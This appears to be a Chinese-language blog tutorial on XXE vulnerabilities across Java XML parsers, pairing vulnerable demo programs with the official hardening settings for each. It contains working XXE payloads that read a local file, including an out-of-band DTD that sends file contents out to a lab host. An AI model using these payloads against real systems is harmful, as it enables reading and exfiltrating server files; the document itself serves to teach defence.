Abstract 之前接触的XXE基本都是php的,但是libxml在2.9.0以后,默认不解析外部实体,这就大大减少了漏洞的发生…所以来看看Java中XXE的情况
XML-DTD文件格式
1 2 3 4 <!DOCTYPE 根元素 [<!ENTITY 内部普通实体名 "实体所代表的字符串">]> <!DOCTYPE 根元素 [<!ENTITY 外部普通实体名 SYSTEM "外部实体的URI">]> <!DOCTYPE 根元素 [<!ENTITY % 内部参数实体名 "实体所代表的字符串">]> <!DOCTYPE 根元素 [<!ENTITY % 外部参数实体名 SYSTEM "外部实体的URI">]>
DocumentBuilder DocumentBuilder是Java中常用的XML文档解析工具,是基于 DOM(文档对象模型)的解析方式,把整个XML文档加载到内存并转化成DOM树,因此应用程序可以随机访问DOM树的任何数据。
测试XML数据:
1 2 3 4 5 6 7 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo SYSTEM "http://127.0.0.1:8080/xxe.dtd" > <message > <to > Kobe</to > <from > James</from > <text > &tmp;</text > </message >
测试DTD数据:
1 <!ENTITY tmp SYSTEM "file:///e://1.txt">
测试Demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import javax.xml.parsers.DocumentBuilder;import javax.xml.parsers.DocumentBuilderFactory;import org.w3c.dom.Document;import org.w3c.dom.Element;import org.w3c.dom.NodeList;import java.io.File;public class dbuilder { public static void main (String[] args) { File file = new File("test.xml" ); DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); try { DocumentBuilder builder = factory.newDocumentBuilder(); Document document = builder.parse(file); NodeList nodeList = document.getElementsByTagName("message" ); Element e = (Element) nodeList.item(0 ); System.out.println("To: " + e.getElementsByTagName("to" ).item(0 ).getFirstChild().getNodeValue()); System.out.println("From: " + e.getElementsByTagName("from" ).item(0 ).getFirstChild().getNodeValue()); System.out.println("Text: " + e.getElementsByTagName("text" ).item(0 ).getFirstChild().getNodeValue()); } catch (Exception e) { e.printStackTrace(); } } }
运行一下
成功加载外部实体文件并读取1.txt
文件内容
网上流传最广的一种(伪)修复方法是:factory.setExpandEntityReferences(false);
我们尝试添加这个配置项进去
【注】:这里要说明下,设置配置项需要放在实例化DocumentBuilder之前,如果顺序反了是没有用的
然后运行
OOB攻击成功,但是使用通用回显的payload仍然会去访问dtd文件,最后回显内容为NULL
。方法注释定义如是说到:
Specifies that the parser produced by this code will expand entity reference nodes. By default the value of this is set totrue
@param expandEntityRef true if the parser produced will expand entity reference nodes; false otherwise.
此方法作用于XML解析后生成的文档。setExpandEntityReferences设置为true则展开实体引用到生成的文档中替换掉&xx的实体引用声明,setExpandEntityReferences设置为false则保留实体引用声明的DOM树在生成的文档中
举个例子来说
1 2 3 4 5 6 <!DOCTYPE foo [ <!ENTITY xxe "test"> ]> <document> <title>&xxe;</title> </document>
设置了setExpandEntityReferences为true(默认)的时候,解析后生成的文档树的结构是这样的
1 2 3 +- document +- title | +- #text:test
如果设置为false,那么结构为
1 2 3 4 +- document +- title | +- xxe | +- #text:test
所以说这个设置是作用于解析之后的文档,对防御XXE并没有什么用处
官方防御
传送门
1 2 3 4 5 6 7 8 9 10 11 FEATURE = "http://xml.org/sax/features/external-general-entities" ; dbf.setFeature(FEATURE, false ); FEATURE = "http://xml.org/sax/features/external-parameter-entities" ; dbf.setFeature(FEATURE, false ); FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd" ; dbf.setFeature(FEATURE, false ); dbf.setXIncludeAware(false ); dbf.setExpandEntityReferences(false );
一般来说禁用DTD就能防御大多数下的XXE
非官方防御
1 2 FEATURE = "http://javax.xml.XMLConstants/feature/secure-processing" ; dbf.setFeature(FEATURE, true );
SAXReader
Flexible XML framework for Java.
测试Demo(需下载dom4j.jar 然后添加到项目中)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import org.dom4j.Document;import org.dom4j.DocumentException;import org.dom4j.Element;import org.dom4j.io.SAXReader;import java.io.File;import java.util.List;public class SaxReader { public static void main (String[] args) throws DocumentException { File file = new File("xxe.xml" ); SAXReader saxReader = new SAXReader(); try { Document document = saxReader.read(file); Element root = document.getRootElement(); List<Element> childs = root.elements(); for (Element child : childs) { String name = child.getName(); String value = child.getText(); System.out.println(name + ":" + value); } } catch (Exception e){ e.printStackTrace(); } } }
POC
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://127.0.0.1:8080/xxe.dtd"> %remote; ]> <message> <to>Kobe</to> <from>James</from> <text>&tmp;</text> </message>
运行代码
【注】:加载外部dtd需要在根元素中的声明中加载,才会触发XXE
防御
1 2 3 4 5 6 SAXBuilder builder = new SAXBuilder(); builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl" , true ); builder.setFeature("http://xml.org/sax/features/external-general-entities" , false ); builder.setFeature("http://xml.org/sax/features/external-parameter-entities" , false ); builder.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd" , false ); Document doc = builder.build(InputSource);
然后运行所有的poc均报错
1 org.dom4j.DocumentException: Error on line 2 of document file:
SAXParser 测试Demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import org.xml.sax.HandlerBase;import javax.xml.parsers.SAXParser;import javax.xml.parsers.SAXParserFactory;import java.io.File;public class SaxPaser { public static void main (String[] args) { File file = new File("oob.xml" ); SAXParserFactory saxParserFactory = SAXParserFactory.newInstance(); try { SAXParser saxParser = saxParserFactory.newSAXParser(); saxParser.parse(file, (HandlerBase) null ); } catch (Exception e) { e.printStackTrace(); } } }
POC
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://127.0.0.1:8080/bypass.dtd"> %remote; ]> <message> <to>Kobe</to> <from>James</from> <text>&internal;</text> </message>
1 2 3 <!ENTITY % file SYSTEM "file:///e://1.txt"> <!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8080/?%file;'>"> %all;
运行查看结果
显然OOB攻击成功,我们来看官方给出来的防御手段
1 2 3 4 saxParser.setFeature("http://apache.org/xml/features/disallow-doctype-decl" , true ); saxParser.setFeature("http://xml.org/sax/features/external-general-entities" , false ); saxParser.setFeature("http://xml.org/sax/features/external-parameter-entities" , false ); saxParser.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd" , false );
SAXBuilder SAXBuilder是一个JDOM解析器 能将路径中的XML文件解析为Document对象
测试demo(同样需要下载jar包 ,然后导入项目中)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import org.jdom2.Document;import org.jdom2.Element;import java.io.File;import java.util.List;public class SAXBuilder { public static void main (String[] args) { File file = new File("xxe.xml" ); org.jdom2.input.SAXBuilder saxBuilder = new org.jdom2.input.SAXBuilder(); try { Document document = saxBuilder.build(file); Element root = document.getRootElement(); List<Element> childs = root.getChildren(); for (Element child:childs){ String name = child.getName(); String value = child.getValue(); System.out.println(name + ":" + value); } }catch (Exception e){ e.printStackTrace(); } } }
运行查看效果
成功获取了目标文件内容,查看官方防御
1 2 3 4 saxBuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl" , true ); saxBuilder.setFeature("http://xml.org/sax/features/external-general-entities" , false ); saxBuilder.setFeature("http://xml.org/sax/features/external-parameter-entities" , false ); saxBuilder.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd" , false );
测试Demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import javax.xml.transform.sax.SAXTransformerFactory;import javax.xml.transform.stream.StreamSource;import java.io.File;import java.io.FileInputStream;import java.io.InputStream;public class SAXTransformer { public static void main (String[] args) throws Exception { File file = new File("oob.xml" ); InputStream inputStream = new FileInputStream(file); SAXTransformerFactory factory = (SAXTransformerFactory) SAXTransformerFactory.newInstance(); StreamSource source = new StreamSource(inputStream); factory.newTransformerHandler(source); } }
运行查看效果
官方补丁
1 2 factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "" ); factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "" );
XMLReader XMLReader 是XML解析器的SAX2驱动程序必须实现的接口, 此接口允许应用程序在解析器中设置和查询功能和属性,注册事件处理程序以进行文档处理,以及启动文档解析。
测试demo
1 2 3 4 5 6 7 8 9 10 11 12 import org.xml.sax.XMLReader;import org.xml.sax.helpers.XMLReaderFactory;import java.io.File;public class xmlreader { public static void main (String[] args) throws Exception { File file = new File("oob.xml" ); XMLReader reader = XMLReaderFactory.createXMLReader(); reader.parse(String.valueOf(file)); } }
运行查看效果
防御手段
1 2 3 4 saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl" , true ); saxReader.setFeature("http://xml.org/sax/features/external-general-entities" , false ); saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities" , false ); saxReader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd" , false );
Schema demo
1 2 3 4 5 6 7 8 9 10 11 12 import javax.xml.XMLConstants;import javax.xml.transform.Source;import javax.xml.transform.stream.StreamSource;import javax.xml.validation.SchemaFactory;import java.io.File;public class Schema { public static void main (String[] args) throws Exception { File file = new File("oob.xml" ); SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); Source source = new StreamSource(file); schemaFactory.newSchema(source);
运行查看效果
官方给出的修复手段为
1 2 factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "" ); factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "" );
和上一个Reader的修复方法一致
1 2 3 4 5 6 7 8 9 10 11 12 13 import javax.xml.transform.TransformerFactory;import javax.xml.transform.dom.DOMResult;import javax.xml.transform.stream.StreamSource;import java.io.File;public class Transformer { public static void main (String[] args) throws Exception { File file = new File("oob.xml" ); TransformerFactory factory = TransformerFactory.newInstance(); StreamSource source = new StreamSource(file); factory.newTransformer().transform(source, new DOMResult()); } }
运行查看
修复手段也和上面两个一致
1 2 factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "" ); factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "" );
ValidatorSample Demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import javax.xml.transform.Source;import javax.xml.validation.Schema;import javax.xml.validation.SchemaFactory;import javax.xml.validation.Validator;import java.io.File;public class ValidatorSample { public static void main (String[] args) throws Exception { File file = new File("oob.xml" ); SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema" ); Schema schema = factory.newSchema(); Validator validator = schema.newValidator(); validator.validate((Source) file); } }
运行查看效果
修复方法
1 2 validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "" ); validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "" );
Unmarshaller 测试Demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import javax.xml.bind.JAXBContext;import javax.xml.bind.Unmarshaller;import java.io.File;public class Unmarsh { public static void main (String[] args) throws Exception { File file = new File("oob.xml" ); Class tclass = Unmarsh.class ; JAXBContext context = JAXBContext.newInstance(tclass); Unmarshaller unmarshaller = context.createUnmarshaller(); Object obj = unmarshaller.unmarshal(file); tclass.cast(obj); } }
运行一下
在默认配置下的时候是不存在XXE漏洞的
关于防御 纵观所有的修复方案大致可分为两种:
设置feature的方式
修改XMLConstants
库配置文件
再说下这几个feature
disallow-doctype-decl
默认为False,表示是否禁用DTD,如果启用了该配置项只要尝试在XML中定义DOCTYPE,就会报错,完全就修复了XXE,但是可能会出现一些不兼容的问题。
external-general-entities
默认为True,表示是否包含外部普通实体,如果关闭该配置项就不会解析外部普通实体,但是能够解析内部普通实体
解析存在外部参数实体的XML时,虽然会发送外部请求但是在解析的时候就报错退出了
external-parameter-entities
默认为True,表示是否包含参数实体,如果关闭该配置项就会不支持解析参数实体,但是可以外部普通实体实现攻击
load-external-dtd
默认为True,表示是否加载外部DTD,如果关闭该配置项表示不会加载DTD文件。但是仍然能使用外部普通实体进行攻击
总之,修复的话要么配置第一条,要么同时配置下面三条。
Reference https://mp.weixin.qq.com/s/bTeJYzUN9T1u-KDZON5FiQ
http://www.lmxspace.com/2019/10/31/Java-XXE-%E6%80%BB%E7%BB%93/
https://www.mi1k7ea.com/2019/02/13/XML%E6%B3%A8%E5%85%A5%E4%B9%8BDocumentBuilder/